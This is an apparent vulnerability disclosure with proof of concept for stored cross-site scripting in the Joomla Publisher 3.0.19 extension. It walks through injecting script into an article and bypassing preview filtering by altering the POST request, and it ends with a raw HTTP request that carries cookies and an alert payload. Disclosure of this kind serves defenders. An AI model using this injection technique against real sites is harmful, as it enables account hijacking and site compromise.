# Exploit Title: Joomla Publisher V 3.0.19 Stored XSS # Date: 03.11.2020 # Author: Vincent666 ibn Winnie # Software Link: https://publisher.ijoomla.com/demo # Tested on: Windows 10 # Web Browser: Mozilla Firefox # Blog : https://pentest.vincent.blogspot.com/ # PoC: https://pentestvincent.blogspot.com/2020/11/joomla-publisher-v-3019-stored-xss.html Poc: We have stored xss and stored html injection in Publisher v 3.0.19. I put there is one interesting method in the body "Article" with Method Post. Create article and put simple xss code : ""> And click "submit article". XSS code is works.. https://ijoomlademo.com/administrator/index.php?option=com_publisher&controller=articles https://imgur.com/a/ylpLcJV https://imgur.com/a/XHNHp4c But it doesn't work in preview mode. https://imgur.com/a/1BG07Mn The administrator can check articles in preview mode. What do we do? Let's use the addon in the firefox "HTTP Live Headers" and change our article with the Post Method. "">
Open Http Live Headers, Edit Article, Save this and Change Post Request and send this. https://imgur.com/a/ogpYEGf Let's see what we have in preview mode. https://imgur.com/a/QvQZNNw https://imgur.com/a/Vzjxfpd .................................................................................. https://ijoomlademo.com/index.php/publisher/my-articles/articlesedit/core_joomla/32 Host: ijoomlademo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 341 Origin: https://ijoomlademo.com Connection: keep-alive Referer: https://ijoomlademo.com/index.php/publisher/my-articles/articlesedit/core_joomla/32 Cookie: __cfduid=dbbb4e38c58b733c11296ba0adf86aee61604442214; c1095a90cabfb304b8e3637676e86d5a=91ionv40vq50bcapv23954o6kn; 4681557252fe8ff3df4a28d60cb41dc7=lpulqnuggmo1p7cs806stm6t5s; joomla_user_state=logged_in; currentURI=https%3A%2F%2Fijoomlademo.com%2Findex.php%3Foption%3Dcom_community%26view%3Dfriends%26task%3DajaxAutocomplete%26allfriends%3D1 Upgrade-Insecure-Requests: 1 title=test&heading=test&cat_id=8&content=""><script>alert("Hello")</script>